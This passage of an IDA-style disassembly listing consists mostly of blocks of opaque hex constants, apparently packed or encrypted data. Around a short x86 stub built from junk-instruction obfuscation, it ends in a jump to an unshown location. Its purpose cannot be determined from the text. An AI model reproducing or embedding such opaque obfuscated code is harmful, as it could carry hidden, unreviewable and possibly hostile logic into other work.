		dd 0D2107ABh, 5C0DDE9Bh, 0E269621Ch, 0F70BD2Fh,	7E288C90h
		dd 0DF3CDA78h, 0A48A72Ch, 235BCC7Ch, 0C1479B34h, 0AD30FA03h
		dd 0FC061A71h, 0C043AADCh, 5821506Dh, 0A4060B21h, 535C86E5h
		dd 0EE22FAF6h, 87154CBCh, 3C2C51C4h, 2854EA52h,	0AF121445h
		dd 0B94FD91Eh, 5632AA5Fh, 80032392h, 0EB11DBFBh, 8, 97500B00h
		dd 4C5E975h, 70680000h,	0E906241Eh, 0FFF9622Eh,	241ECF68h
		dd 6224E906h, 2F68FFF9h, 0E9062420h, 0FFF9621Ah, 8B2C278h
		dd 0FAA4C46Fh, 0EE98D461h, 0DF89DF55h, 0D27CF046h, 90A69D5Ah
		dd 9E9932DCh, 0A98F28D2h, 0BD841DC7h, 95270DB7h, 66BBF303h
		dd 139A0023h, 6D4A2214h, 3BE58FB2h, 2745F0ADh, 375DEBC9h
		dd 0A1F0F587h, 70E31F45h, 7B19E170h, 0E8C5962Eh, 0A0644058h
		dd 0D644CEDCh, 1DFE3DAFh, 2EE3CEDh, 0D18E0000h,	4AB0967h
		dd 8795FD08h, 6E9F31E1h, 0BD1F45ABh, 18AA5C0Ch,	0DCA04384h
		dd 0B2BE7A15h, 0D53304D5h, 6569F884h, 0B98F33BFh, 24992BDBh
		dd 77E338C9h, 48D3BF04h, 4500A84Dh, 0D0AD7EF2h,	0E2545AF0h
		dd 4C09B98Ah, 0CCA899E9h, 0EF4D1EEFh, 8494AF41h, 7A2BE925h
		dd 0DA5B18CAh, 0C67B3492h, 0D66B04AEh, 19EA82B4h, 7E7D55A6h
		dd 882702E4h, 33Ah, 34DE96A4h, 26D0989Bh, 1AC4A88Dh, 0BB5B381h
		dd 0FEA8C472h, 64D2A986h, 72C55E08h, 7DBB54FEh,	91B049F3h
		dd 0C15339E3h, 66B89F2Fh, 3FC62C23h, 8B3B59EFh,	1EA970F9h
		dd 38FBB81Fh, 24825330h, 3C07021h, 0F68F3933h, 0BF4F2C40h
		dd 3133EB20h, 0C1344001h, 0DAE5A76Ah, 0DB6100DBh, 45000002h
		dd 3CD57FF5h, 2EC771F7h, 22BB6507h, 13AC5612h, 279F4923h
		dd 0A9C37348h, 9FD166FFh, 94DC5CF5h, 84F051EAh,	0D062F4DAh
		dd 2366B83Ch, 0EFE067CDh, 0CE8B3B59h, 0F8A60468h, 1EA9C366h
		dd 421FD01Fh, 994426B2h, 7C9E28DCh, 24DAE709h, 1CA96EDh
		dd 14EF0000h, 0DA97472Dh, 60310E5Ah, 0D56C2702h, 0AA67F59Fh
		dd 1226E18Bh, 1422005Eh, 32EC070h, 901F45B0h, 0C8767F1Dh
		dd 50216D2Eh, 0AAD7E373h, 0D26DCA0h, 0AADAEA7Ch, 36E7DCA0h
		dd 74CD8865h, 0DC602300h, 16A8303Eh, 2E8CE859h,	40FD9288h
		dd 0CA9B78F8h, 343AB46Ch, 4A07ED1Dh, 0AF2381EBh, 36h, 0D5621F08h
		dd 9E682B1h, 0B98A6738h, 0C9AF7D5Bh, 0A5128719h, 44F61F45h
		dd 0A05922B2h, 0A0FEAFDCh, 7F0FEC9Dh, 0DCA0596Bh, 0D6AF6BF5h
		dd 0ED1DC3D4h, 0C163h, 2D14BC00h, 87AF6A47h, 0F44D08E5h
		dd 1E3BD080h, 2AD57175h, 0F57BBD78h, 0EE94718h,	0DC86EE53h
		dd 4219706Eh, 99059A25h, 7E7E72D8h, 5F29985Fh, 0BE8FD6EAh
		dd 189AA760h, 76F7AF96h, 600ADB63h, 642215D2h, 0EABB98D0h
		dd 0D6B3C19h, 0CB7B192Fh, 48364739h, 7B2BDC1Fh,	2E0A78BEh
		dd 2CC17142h, 4487A6DEh, 872F8D85h, 0B12448EEh
		dd 0DAE15354h, 7B5BFAD5h, 0E5000001h, 0DC751F55h, 0CE671157h
		dd 0C25B0567h, 0B34CF672h, 0C73FE983h, 492313E8h, 3F31069Fh
		dd 343CFC95h, 2450F18Ah, 7002947Ah, 2366865Ch, 1480076Dh
		dd 7A04A22h, 35C95B3Ah,	0C62542A6h, 0C9A4415h, 0A634C85Ah
		dd 14C52542h, 2D140FB6h, 0A6C6D668h, 181D2542h,	0A1A67754h
		dd 613E3206h, 3EEEBF90h, 0EBCDA4A9h, 4EFECF53h,	424728BCh
		dd 0AA08B925h, 472D14CFh, 0E2520F9Dh, 7AD8A986h, 3AEA8E9Ch
		dd 2DECF388h, 6FFAD293h, 42D0CFDFh, 0CD2BDC25h,	2C848D1Fh
		dd 5E0F1F45h, 3D45F1AEh, 0F8A273F9h, 0A18F7E8Ah, 74CDDCh
		dd 5533C856h, 973F3A27h, 3BFBB412h, 0BFB55431h,	10000000h
		dd 8B3B59EFh, 1EA974F9h, 780ABC1Fh, 0DC994564h,	2A09C475h
		dd 2CDDE03Eh, 0DDAD944Fh, 64351256h, 0F150E993h, 4516A683h
		dd 24AD6877h, 0BF7A571Dh, 0C31AF779h, 0B073FB1Fh, 9DCF6724h
		dd 0E81993Fh, 9D9BE351h, 5425F6D3h, 0F57BBC77h,	340DC624h
		dd 44FD9640h, 7EC38030h, 0EA4819F6h, 88E0540Fh,	95AE43D8h
		dd 7FB4DED1h, 0AA8B4621h, 0E2AE5C2h, 69DDF183h,	3DEEA36Ah
		dd 4DDF8F6Ch, 0A36A69B9h, 9E42994Ah, 0F79BF27Ch, 92AF6C23h
		dd 76CB84E2h, 0A2914EFEh, 0A739E9C6h, 0A36A6917h, 8F22F3A4h
		dd 7ED8636Fh, 0BB311FEh, 0F5A5CF72h, 0B16CFC38h, 3607E490h
		dd 35EFDD8h, 0B9000000h, 2614B65Dh, 8BB6714Eh, 0E7510CE9h
		dd 46F1AC89h, 0A4924D2Ah, 630EBC8h, 66CE8966h, 0CB6A2502h
		dd 2A09C4A1h, 529C613Eh, 0C281E289h, 4,	4EA81h,	14870000h
		dd 4895C24h, 0E3895324h, 4C381h, 0EB810000h, 4,	5C241C87h
		dd 68243489h, 6A0Ah, 68240489h,	6241D9Ch, 8324348Bh, 8B5404C4h
		dd 0C4812404h, 4, 2FA868h, 24348900h, 0FF08408Fh, 83582434h
		dd 34FF04C4h, 0C4835E24h, 5D80E904h, 0DDB4FFF9h, 0A0668F43h
		dd 8080E576h, 0B884B4D5h, 62421CFh, 0E0FFC503h,	501D7D4Eh
		dd 2FE9690Ah, 6D00DBCCh, 36155845h, 358458B0h, 4D541C55h
		dd 6E70B13h, 746B42D0h,	30B666CFh, 7CF70442h, 23DEF14Eh
		dd 3D114526h, 223816Ah,	272588BFh, 55E84452h, 270F9778h
		dd 79FE53F2h, 0A1A62ADh, 31130F2Fh, 76596107h, 528AD739h
		dd 285AC98Dh, 749317D7h, 6D6FEAB4h, 2702CB1Eh, 272BE033h
		dd 5EB96D9Fh, 491606B0h, 55AE662Fh, 237E8D8Dh, 0F18B0624h
		dd 20D18D89h, 0F18A061Dh, 331D85C7h, 6AE8061Dh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 39FC54C3h, 52A0A2A4h, 95033FA3h, 61D0879h, 2BF985C7h
		dd 61Dh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1B0424h, 53430000h, 92CE09C3h, 0EB915B38h, 0CD9D89A0h
		dd 0FF061D25h, 1D13F5B5h, 718D8906h, 0FF061D07h, 1D151995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0B27637A1h, 409D3A43h, 35CF8166h, 4DB529E9h
		dd 6A061D1Dh, 995FF00h,	8B061D12h, 2E6AEBC0h, 0E941868Dh
		dd 2512D2D3h, 3A380BEAh, 77B0B704h, 0D94750A4h,	0EF7C0383h
		dd 4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh
		dd 0C3393525h, 0EC10F4B8h, 75F39Fh, 0F24038A1h,	3AA24645h
		dd 0B6645E26h, 0D0B2E598h, 0CC8551B4h, 3CC484Eh, 0EB4C5AD7h
		dd 875C60DDh, 7B5F134Ah, 0A3C3AAAAh, 29F3133Eh,	47BD643Bh
		dd 0A104EB7Ch, 0E93D116Fh, 0D6Dh, 24258468h, 5BB4E906h
		dd 9C68FFF9h, 0E9062426h, 0FFF95BAAh, 2428C768h, 5BA0E906h
		dd 0C268FFF9h, 0E9062429h, 0FFF95B96h, 242D3D68h, 5B8CE906h
		dd 9768FFF9h, 0E906242Eh, 0FFF95B82h, 242FA468h, 5B78E906h
		dd 64D6FFF9h, 66CD6610h, 76BF5802h, 81B34CF6h, 92A43DE7h
		dd 0FBB830DAh, 903A3204h, 863040F7h, 7B254BEDh,	6B155FE2h
		dd 4D61F385h, 5E236682h, 2D1471F8h, 92AF6A47h, 985505E2h
		dd 0BA73D19Fh, 0BE15F27Eh, 8DE35512h, 0DB81DFB0h, 8EFC453Fh
		dd 2AE5C2A6h, 0B1825F09h, 0D7650FE0h, 76531D1Ah, 0A88E47A5h
		dd 0C0811AC4h, 0A6B343D5h, 8F402542h, 1B26E1BEh, 55ECA959h
		dd 3053C5Dh, 380951C8h,	842C8A5Bh, 641470C6h, 45525FD2h
		dd 75CC891Fh, 0ED9EA1FFh, 6A688010h, 64F6DCA1h,	6A8C20B2h
		dd 6C1DDCA1h, 0DDB2680Eh, 6A05992Bh, 0FB96DCA1h, 8657343Ch
		dd 0D9F57B5h, 2CED1CF4h, 20h, 3B59EF85h, 0A580F98Bh, 62131F45h
		dd 59E5F585h, 0E16BDCA0h, 0C3A24C39h, 0A7D9ED1Dh, 32000000h
		dd 6A472D14h, 8E587AFh,	2ADFC358h, 0DB8230A0h, 0F77DC47Dh
		dd 92E25F1Ah, 0D5457AE8h, 0A59C2542h, 0B58C25CFh, 3402E2BFh
		dd 0CC9DCF66h, 0CDE78A1Ch, 3BEC1F45h, 0BF510391h, 0DCA1E02Fh
		dd 0CFAD0BBCh, 0B96B1B79h, 0E0617507h, 0C172DCA1h, 688D563h
		dd 5A0BE6ABh, 2349EDAAh, 1656E079h, 0FE109CA3h,	13B28DE0h
		dd 0B1Eh, 20CAAA90h, 12BCAC87h,	6B0BC79h, 0F7A1C76Dh, 0EA94D85Eh
		dd 78BEB572h, 86B14AF4h, 91A740EAh, 0A59C35DFh,	0AD3F25CFh
		dd 66838B1Bh, 2BB21823h, 95DF621Fh, 0B4B87E37h,	0A4D0710Ah
		dd 59EF73FAh, 80F98B3Bh, 131F45A5h, 40D58562h, 3D564035h
		dd 9224D420h, 0DCA07602h, 0F280DE8Fh, 0DCA076E6h, 0F7890C35h
		dd 0DCA076E7h, 957243F4h, 764353E5h, 9F50DCA0h,	64574FE4h
		dd 0CE854B7Bh, 1B1EFBCCh, 63EB8397h, 0AA4441D9h, 0D1ED1D5Eh
		dd 0D4h, 472D142Ah, 3AFDBA6Ah, 0AEC67B36h, 0E9A200D1h
		dd 0B26F1F4Dh, 0B28DEB85h, 2EBE5002h, 0BB2542A6h, 0A11EAC0Ah
		dd 402542A3h, 6C37301h,	34C85A3Bh, 0C5DABD5Dh, 95664314h
		dd 0B10F59DAh, 0C4D17009h, 0BD5DA232h, 0AD7E2FDAh, 3E5AF0D0h
		dd 4775FC8Eh, 1EB3E0BAh, 0A395CB78h, 0ECC43ACDh, 590A0D6Bh
		dd 5E5BF1AFh, 0A02138CCh, 4718C9DCh, 0C4A90597h, 792AE6AAh
		dd 422A0CC9h, 3537FF98h, 0FECCF5C2h, 0D87752E0h, 0A06h
		dd 8B2C278h, 0FAA4C46Fh, 0EE98D461h, 0DF89DF55h, 0D27CF046h
		dd 90A69D5Ah, 9E9932DCh, 0A98F28D2h, 0BD841DC7h, 95270DB7h
		dd 6680F303h, 139A0023h, 0A04A2214h, 8BE15512h,	0C67FDDAEh
		dd 8C49F97Bh, 145CDBABh, 0B8956637h, 5AE189E7h,	6A472D14h
		dd 363AFDBAh, 52221FD8h, 0A6AE3AA8h, 0C47D2542h, 0A6AF3FD1h
		dd 8B3C2542h, 0CA7710BAh, 2F12CDAAh, 0DE686845h, 7BF9483Ch
		dd 778719CBh, 842542A6h, 35CD75D3h, 14FF3CBBh, 0EAC2h
		dd 6D1F1B00h, 42A6CBDBh, 0C927D825h, 0E84D5DEBh, 0F1CE9A9Ah
		dd 0A1724F20h, 578E20D0h, 0B91F45A3h, 0AD7AD424h, 4BA95980h
		dd 2ABA9748h, 0DCA0BD9Eh, 0E3510EA0h, 0BD8014A6h, 6011DCA0h
		dd 8F8B318Fh, 1D23F4F6h, 0A98C49EDh, 6515E6C3h,	0A0B5C3D3h
		dd 0C11FD0DCh, 924Dh, 51E29F00h, 0F88A3A17h, 0DCA0B5E4h
		dd 157344F5h, 0A6AA3F6Eh, 0C85E2542h, 0F467FCACh, 3FFBDB7Ah
		dd 0F88A3896h, 1F4505B1h, 2CC17122h, 7FB5E774h,	0A83B0CE9h
		dd 0F6DC9E2h, 468CE67h,	0FC10A254h, 0DDCA1CDh, 4323FE5Ch
		dd 4DDF8FF5h, 0E6A6DBC4h, 5BF49E4Fh, 0DE8AA9DDh, 825F3001h
		dd 40F094A2h, 0D713F98Eh, 7634CBFCh, 0E3438A18h, 0C050EC83h
		dd 0E5687C0Eh, 0C879C8EBh, 0EBE5A438h, 0B38435C8h, 8F8A6E03h
		dd 517BF073h, 6FCD9F96h, 55B4AC7h, 0EFA50000h, 0F98B3B59h
		dd 1F45B990h, 0E5A25203h, 6C043452h
		dd 8FEDBE8Fh, 759424B4h, 109ADCA0h, 0EB717B0Ah,	3208ED1Dh
		dd 5A000005h, 5064F6A8h, 61DCA06Dh, 6D8C20B0h, 6C1DDCA0h
		dd 87E583B1h, 0D2C808E0h, 9473EB3Dh, 78D6113Bh,	38E88C9Ah
		dd 450A77A6h, 0C29C41Fh, 0F35C8A9Eh, 825327EEh,	5303D4A5h
		dd 0FEFF0FA1h, 5B0CDCA1h, 0A320ACFDh, 4D871E8Fh, 81F5099Bh
		dd 5506755Ch, 650319F7h, 0BF5103B5h, 755C812Fh,	1FAD0BBCh
		dd 4F5B898Eh, 0AF8F6C1Dh, 0B94BFB99h, 55239F2Ah, 935000B1h
		dd 1157DCAEh, 0E8926334h, 0F82F24Fh, 90E1192Ch,	0DB33D2ADh
		dd 4D000007h, 44DD87EDh, 36CF79EFh, 2AC36DFFh, 1BB45E0Ah
		dd 2FA7511Bh, 0B1BB7B70h, 0A7C96E07h, 9CD464FDh, 8CE859F2h
		dd 0D86AFCE2h, 23668EC4h, 14E86FD5h, 8A6A472Dh,	9628D8BCh
		dd 1F45A7DFh, 1EDB8B3Ch, 15A75719h, 0DCA04681h,	55036112h
		dd 26D0A098h, 0E8C5AB8Dh, 0A0464458h, 563ECADCh, 52E8DCA0h
		dd 42D48636h, 0DCA076B2h, 82308E3Fh, 0A711E1F0h, 2401B2E6h
		dd 870C0494h, 0B5DD7D6h, 0D8EC7E2Eh, 0E9D6870Ch, 0B3B97D38h
		dd 8B8F13D6h, 0C627204h, 0BE6FD687h, 3FDB65EDh,	0CAA29350h
		dd 6A0632EDh, 8DEBBC8Dh, 3A96DBD5h, 2962E7h, 0EFBB0000h
		dd 0CE8B3B59h, 54250266h, 0A68212A4h, 5E0F2542h, 65C05200h
		dd 4B1F45C0h, 0E7C4A88Eh, 4B5B816h, 158827h, 0EFE30000h
		dd 0D98B3B59h, 78551B1Ch, 0BEBB49A7h, 251F45A5h, 14EE9774h
		dd 0EBD4472Dh, 7CD4C1AFh, 6E002A1h, 0E8520000h,	0EA49E28Ch
		dd 0FA3BD47Eh, 52FC872h, 1620B963h, 7734AC56h, 0CB6B680h
		dd 2ACC473h, 0F7A1CF69h, 0E791E35Eh, 0C9DD6F01h, 0DA23668Fh
		dd 59EFED74h, 84F98B3Bh, 6C1F45B9h, 7E484AFh, 24D5D836h
		dd 0BFB58C47h, 1F92A715h, 0F146F999h, 3E9222B4h, 6E1FF7D5h
		dd 1AEB85B3h, 9626B86Ah, 6DF7D53Eh, 0F4C5A2C6h,	0E9AB3EEFh
		dd 6D4EA6F8h, 35F39BF9h, 3FD181E7h, 0CDD2A83Ah,	76F241FEh
		dd 87641518h, 570167CCh, 35E58399h, 3FCD2EA3h, 3BFDBAD3h
		dd 4330C456h, 10C1E31Eh, 43DEE13Fh, 35C777F1h, 0E31E43A1h
		dd 0B08132h, 0A65BE96Bh, 9CFAFC4Fh, 529931C1h, 0C074E31Eh
		dd 2510CBA8h, 0BFB58C47h, 33E78BE2h, 0F129B33Bh, 0A3CC1A94h
		dd 15B21D2h, 0EF7A0000h, 8AE65159h, 0F4E61BF7h,	9F70BDD5h
		dd 0B285DEFh, 0EB7B1F45h, 35AB5056h, 0CD5D61F4h, 0DCA1D439h
		dd 6B4819CAh, 3FF991B0h, 0B2835431h, 0A2D26F08h, 0BE2435C5h
		dd 6DF1F998h, 0A6AD7ADh, 2315D260h, 0B36EF4Dh, 6DFC8C69h
		dd 24D2E3F4h, 57EA9A80h, 67DA731Dh, 0F9AB5D0Dh,	0E585767h
		dd 23B3648Eh, 8E0E5893h, 36116F20h, 0F5A5C756h,	0E583363h
		dd 1C18D58Eh, 3AEBEE4Ch, 3644D290h, 0EEFE9001h,	0FB8E0E58h
		dd 0F8A8794Ah, 0D3AB8946h, 5C2D0A62h, 4ADDAE8Bh, 750B7882h
		dd 0F07EDC32h, 0B409DC11h, 5914F1A2h, 0D59FA2E8h, 0AC5627F8h
		dd 69462E13h, 6D9CADD9h, 22F89C80h, 0EB95DF62h,	0A1F48F7Dh
		dd 8EEA41F4h, 12A456E4h, 1599A782h, 1CAE5E0Fh, 1599A788h
		dd 510A6819h, 23B4C2F0h, 689DBFD9h, 0EDBE9BD9h,	0DE6E4B1Ch
		dd 0AF5B161Eh, 300D63D5h, 78C0BE75h, 794A1BF8h,	8129C9Ch
		dd 0E3B4BC7Ch, 5ED79420h, 100AB00Eh, 0FA76C27Fh, 59B94C1Dh
		dd 88C632A6h, 0EF520B69h, 0DEA3A1C3h, 9E6FE2C8h, 8EE65BF4h
		dd 964A49DEh, 5883C41h,	5EECCCA7h, 0B283F150h, 0B6297002h
		dd 77AB5D6h, 6F7DA90Ah,	151FDA4Bh, 0D4A57653h, 9CCC6724h
		dd 3D1A56E1h, 0E9660E6Ch, 4Eh, 0DF621F44h, 4353E595h, 502542A6h
		dd 0D563419Fh, 106DFFAFh, 0A31F45C0h, 0D95A15F2h, 7C8E1EB0h
		dd 6A1BDCA0h, 67EEF99h,	0F193A29Ch, 4116AC41h, 0F3EE4E3Fh
		dd 8E6B0938h, 1FB15FBDh, 0DCA038F7h, 0A5EEB124h, 79ACE65h
		dd 10E10568h, 2D149035h, 2D875685h, 0D95D60DEh,	14E5B693h
		dd 4DDB9943h, 3CE57727h, 771F45B9h, 0DF5916C6h,	9C59E791h
		dd 45CB109Ah, 48229B4h,	1C1CD533h, 81977754h, 0D4A133E3h
		dd 47E6A6B6h, 14E58BACh, 4713A737h, 77C5D687h, 2CF6111h
		dd 91EC8020h, 965303E0h, 2711CCA0h, 4D5DEB49h, 0D3C8EA1Ch
		dd 0CBED149h, 0EA1C6A7Ah, 710477C8h, 19751AA5h,	0B56DCB9Ch
		dd 0F957973Bh, 5142h, 50E29400h, 0C8EA39BCh, 0D9099C4Dh
		dd 0A6D0B276h, 1F6A116Fh, 78D8D662h, 0D6F1519Dh, 1DEECB9Ch
		dd 1DCBDB6Dh, 27D82542h, 375DEBC9h, 0B343D587h,	9525421Dh
		dd 421DF303h, 4A4F0025h, 0FB8D3B99h, 1F457BA2h,	4A38031h
		dd 2Ah,	0D0989B58h, 59EFCB72h, 70F98B3Bh, 631F45A5h, 59AD41D3h
		dd 0A33EDCA0h, 2AFBD890h, 1BD88859h, 98D06426h,	0BB19EABBh
		dd 2D1437E0h, 0AFA5D447h, 0AB86D4C1h, 3650Ch, 1163D700h
		dd 365CE67h, 0F775C059h, 0E880B44Dh, 0DB91A53Eh, 5FAB931h
		dd 0F8913B31h, 0EE87313Fh, 0E37C264Ah, 866C165Eh, 8B5262F4h
		dd 0F95F2366h, 472D1472h, 7FFC0297h, 4FD5EE81h,	0E65B16F1h
		dd 0ADB91A4h, 0F094A260h, 0E8FC8E40h, 0F92542C3h, 0AA3CEA48h
		dd 1F45D587h, 42F2AF61h, 0E8784926h, 0DCA1E8D4h, 0BF7934E5h
		dd 0A503D4B1h, 8414F1A2h, 0DCA1E874h, 24B668FAh, 0DCA1E890h
		dd 6C127021h, 76D5D7AEh, 2064ED1Ch, 0BD000000h,	8B3B59EFh
		dd 45A580F9h, 8562131Fh, 0A059E5F5h, 39E16BDCh,	1DC3A24Ch
		dd 0EDD9EDh, 14320000h,	0AF6A472Dh, 4D08E587h, 0CD9F96F4h
		dd 714E1FF0h, 3FE98BB6h, 42A312D1h, 644EF325h, 0E37554B9h
		dd 0DABD82D3h, 0C09C2FE0h, 0CA7A4B7Ch, 97E4F035h, 0C2209509h
		dd 0B4C0811Ah, 4321F7D7h, 1124E193h, 0FADAEA7Ch, 36E7DABDh
		dd 59B78865h, 0BACB72CBh, 0A05001E0h, 0EA485CEEh, 0A859DCA0h
		dd 5714A24Ah, 891DAFDEh, 1ADCA0EAh, 0EABB9869h,	0FC98AE8Ch
		dd 0CCABA4Ch, 0BC57E6AAh, 4314F177h, 5310C272h,	0DCAD8AE2h
		dd 7B581421h, 0A3934CAAh, 6692A107h, 0C2720FD7h, 80C79C30h
		dd 0AB7C2DD6h, 0B4CE6801h, 0A417E880h, 0E0FF4F6Fh, 0BD67550h
		dd 7D000002h, 740DB7BDh, 66FFA9BFh, 5AF39DCFh, 4BE48EDAh
		dd 5FD781EBh, 0E18BAB80h, 0D7999E37h, 0CCA4942Dh, 0BCB88922h
		dd 89A2C12h, 236688F4h,	14189F05h, 93E16022h, 0C27F18C2h
		dd 0EF8108B2h, 0F98B3B59h, 1F45A580h, 3CEE8313h, 8AD52165h
		dd 8BD4E878h, 34E5DCA0h, 0E2F68663h, 6CDCA08Bh,	9A5738E2h
		dd 1D4FE79Bh, 409E6F4Ch, 1D116688h, 0E815EDh, 0AA670000h
		dd 5000DD97h, 0A0872EBEh, 390ABBDCh, 8A1F34DBh,	6687F306h
		dd 430EBADh, 0F44D0664h, 5EF3A380h, 6F4C9283h, 0D86A1AB0h
		dd 254266C4h, 0DC624D5h, 0D6664329h, 254263E9h,	812B49F8h
		dd 3E1B59E8h, 0FCACC85Eh, 1977F93Fh, 2B8CD96Bh,	7F0F1F45h
		dd 0A10BD9EDh, 6839EADCh, 4E2A00BEh, 82FEC9Eh, 297C0A68h
		dd 0FE6ABEEh, 0CF8AE652h, 57280567h, 0B383F6F9h, 0ED845C40h
		dd 0F1AE5E2Fh, 0C5772745h, 863BA333h, 217F30D6h, 1656E079h
		dd 0FD1358A3h, 0C76641E0h, 0FEh, 0AACA70h, 0F29CCC67h
		dd 0E690DC59h, 0D781E74Dh, 0CA74F83Eh, 989E9552h, 0A6912AD4h
		dd 0B18720CAh, 0C57C15BFh, 8D1F05AFh, 6689EBFBh, 0B92F823h
		dd 0D4602214h, 105CD994h, 5507953Fh, 0F2CF9D98h, 0A67D9121h
		dd 0DD8E2542h, 0F97BC67Fh, 2D14C84Fh, 92AF6A47h, 0AC7A38E2h
		dd 461759DEh, 0C4EF0496h, 3BEC1F1Eh, 149EA35Eh,	52A6B6BDh
		dd 0F542FD7Fh, 3DFAAA7Bh, 0C89976FAh, 1829C26Ah, 0DAABC572h
		dd 99B4DFDh, 0DC9957F5h, 69F75506h, 0F5F699CEh,	7956161Fh
		dd 16F375BEh, 234BCF53h, 463EDC60h, 0C2B28FFBh,	3A62552Fh
		dd 8E5F33D0h, 9FF64BE4h, 0E46AF90Dh, 0E87A0A9Bh, 9BE46AD4h
		dd 926334E5h, 4F3AFAB5h, 35C5AF92h, 9BE46AA1h, 6AE1F587h
		dd 41F29BE4h, 0DDBA8B3Ch, 7A571122h, 17F474BFh,	244AD054h
		dd 0D36421CDh, 91EFC09Dh, 0EC552FEBh, 0FC45DE88h, 3FC9B78h
		dd 57000000h, 2614B65Dh, 8BB6714Eh, 0E7510CE9h,	46F1AC89h
		dd 0A4924D2Ah, 630EBC8h, 66CE8966h, 0CB6A2502h,	2A09C4A1h
		dd 839C613Eh, 3C8904ECh, 81E78924h, 4C7h, 4EF8300h, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	edx
		mov	edx, 706B3FAFh
		sub	edx, 23DD1CF2h
		xor	edx, 4AAA0683h
		mov	ecx, edx
		pop	edx
		mov	edi, ecx
		pop	ecx
		push	5E6Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, edi
		mov	[esi+8], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		db 90h
		dd 83DBA38Eh, 30C7B805h, 0C5030624h, 8994E0FFh,	7C094AD9h
		dd 0E5513683h, 8C005C99h, 546D2108h, 0C6C28F6h,	0E5185E4Ah
		dd 18990DF3h, 51357DAFh, 0BD05538Bh, 0CFE7059Ch, 0F8766412h
		dd 39E26248h, 6EF15F30h, 85E92815h, 0F7A3077Dh,	9EDC5F8Dh
		dd 0A7EA206Ch, 6BDC5C90h, 0EEA32816h, 23611DB0h, 6CD05934h
		dd 0A40D5FF7h, 97D778B6h, 6A3403ABh, 4EB3AE9h, 38FC2D2Dh
		dd 508E9h, 71033700h, 63052EC7h, 571520B9h, 482014ADh
		dd 3B31059Eh, 655A1991h, 58F19BD1h, 4EE791DFh, 43DC86EAh
		dd 0E6CC76FEh, 9732C254h, 59BF2366h, 0D1621FD2h, 0C1803997h
		dd 9126D6B3h, 36F30D8Ch, 843D9B9Ah, 7710BAB2h, 12CDAACAh
		dd 95452Fh, 32F5D014h, 71C3D9CBh, 8117DB6Eh, 0C6815CBAh
		dd 5B1EFB6Dh, 4143D7h, 731CA74h, 1226BF69h, 71C6815Eh
		dd 0A6924FFFh, 9218008h, 0CDD5D74h, 25005E2Fh, 94F02ACEh
		dd 8922CCA4h, 4FDFBCB8h, 2542B5BAh, 0E9C6AE93h,	0F5870A2Eh
		dd 2542B5E1h, 937041F2h, 0D1060D8h, 14DD9189h, 0F5F78E8Ch
		dd 8414FF2Fh, 7Fh, 0D6621FDDh, 3CECBD9Ah, 42A61AAAh, 98F6A725h
		dd 0C2862DFh, 1EAE8B5Ch, 2542A684h, 0F830C555h,	0EACE6101h
		dd 0AF6B116Fh, 0FFA2D4D6h, 8A942914h, 0D1EEE37Eh, 1C13593h
		dd 1A000000h, 6C491F14h, 9E682B1h, 0D282E64Eh, 418A2015h
		dd 9DDFCE15h, 805BB98Ah, 20FD73C5h, 0BE9BD165h,	86373103h
		dd 6F323CDEh, 0DE552FEBh, 4245DA8Ah, 81C949CDh,	0E57E2684h
		dd 190C565Ch, 4BFEC2E1h, 1449D07Ah, 0B26D4A22h,	0A0AE781h
		dd 4CEA9A80h, 64DD7620h, 0BD783310h, 0C04AD2AFh, 3A912B5Ah
		dd 78C814FFh, 21000000h, 9A4A2214h, 341157DDh, 7A2A0563h
		dd 17F478BDh, 9B84F284h, 7D8A939h, 2583E94Ch, 0C6A3C96Ch
		dd 0FE27703h, 0DDB4F026h, 713B917h, 9B3B97Dh, 0F6A6C670h
		dd 0A92DE261h, 92F0CD5Dh, 3038FCB7h, 0CC9C9853h, 69FF34EFh
		dd 0E733DB8Ch, 0A575FF87h, 0FFDDDEE0h, 3D7D14h,	14D60000h
		dd 0B26D4A22h, 0A0DEA86h, 46F09486h, 7DB97626h,	8E045CEFh
		dd 17C0AEEDh, 148A11B9h, 0DC6C491Fh, 2542A6CDh,	0F5908A12h
		dd 14FF3CFBh, 592DB348h, 2A278752h, 158CCh, 14B10000h
		dd 0B36E4B21h, 7936E68Eh, 3ED1AEBAh, 691AF575h,	59B788EDh
		dd 9783277Eh, 7A2448EDh, 5A0A6EBCh, 4531E1C8h, 9BFF721Fh
		dd 87F664C7h, 5310C091h, 0EC3AC9E5h, 740EC951h,	97F5C6A3h
		dd 0C85A0CBCh, 0DCA10434h, 0FDB614C5h, 0F8863044h, 420B446h
		dd 7406DCA1h, 0DCA10460h, 0ABBC071h, 264EF3ACh,	42FB949h
		dd 32B6DCA1h, 0CFA59CE8h, 67DA9725h, 4BF6AF0Dh,	424B84Ah
		dd 42FFDCA1h, 7F845532h, 6520FDCEh, 0BBBB98DCh,	0A69BE931h
		dd 628C24CEh, 19ED1C9Eh, 162h, 0F985AE6Bh, 80512E3Ah, 1FAA51AFh
		dd 3A98D462h, 0FAAACE5Ch, 45BD5968h, 0CCA95A1Fh, 9A443011h
		dd 57344001h, 0F2CFA59Ch, 906DFF37h, 2D0A5ED5h,	1074A62Ah
		dd 78784927h, 0E9582CEEh, 0A749E18Bh, 0D6ED1DE9h, 84h
		dd 228A1F2Fh, 6C3BEBBEh, 8D9A78D6h, 0A1A537E7h,	472542A2h
		dd 64C2AE8Ah, 0AF3FD161h, 3C2542A5h, 0C8983C9h,	6435810Ah
		dd 39E052D1h, 693AE517h, 3038FCB9h, 33DEEE80h, 3AEB2542h
